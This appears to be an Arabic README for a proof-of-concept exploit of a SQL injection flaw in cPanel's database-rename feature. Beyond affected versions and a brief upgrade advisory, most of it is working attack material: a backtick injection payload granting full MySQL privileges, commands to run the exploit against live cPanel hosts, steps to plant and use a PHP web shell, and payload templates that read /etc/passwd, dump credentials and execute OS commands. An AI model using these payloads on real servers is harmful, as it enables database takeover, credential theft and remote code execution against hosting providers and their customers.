
مشروع بحث أمني
CVSS 4.0: 9.4 (حرجة) | CWE-89: SQL Injection | NVD
مستخدم cPanel مُصادَق عليه → SQL عشوائي بصلاحيات جذر MySQL عبر إعادة تسمية قاعدة البيانات.
يحتفظ cPanel بشكل غير صحيح بإعداد sql_mode لجلسة المستخدم (ANSI_QUOTES) عند
تنفيذ عمليات إعادة التسمية كجذر — حيث تكسر علامة backtick في اسم قاعدة البيانات
حدود المعرّف وتحقن SQL.
name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; --
pip install -r requirements.txt
python3 simulate.py start # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop
وضع المختبر يُكتشف تلقائيًا — لا حاجة لخيار --lab.
python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
--payload admin-user --verify
SQL مخصص: --inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"
# 1. Write shell to web root
python3 poc.py -t http://localhost:18080 --mysql-port 13306 \
--payload webshell --shell /var/www/html/shell.php
# 2. Execute commands via HTTP!
curl "http://localhost:18081/shell.php?0=id"
cPanel < 11.110.0.137, 11.118.0.71, 11.126.0.78, 11.134.0.48, 11.136.0.32; WP Squared < 11.138.1.6
التخفيف: قم بالترقية، أو قم بإلغاء ميزة MySQL من مستخدمي cPanel.
لأغراض اختبار الأمان المصرح به والتعليم فقط.
| القالب | التأثير |
|---|
admin-user (افتراضي) | إنشاء مستخدم MySQL إداري rce |
compact-admin | حمولة إدارية قصيرة (<64 حرفًا — تناسب حد أسماء cPanel الفعلي؛ التحقق: r/p) |
webshell | كتابة قشرة PHP عبر INTO OUTFILE (--shell /var/www/html/shell.php) |
read-file | قراءة ملف من الخادم عبر LOAD_FILE (--file /etc/passwd) |
dump-users | تفريغ جميع بيانات اعتماد MySQL إلى pwn.users |
udf-rce | تنفيذ أوامر نظام التشغيل عبر UDF |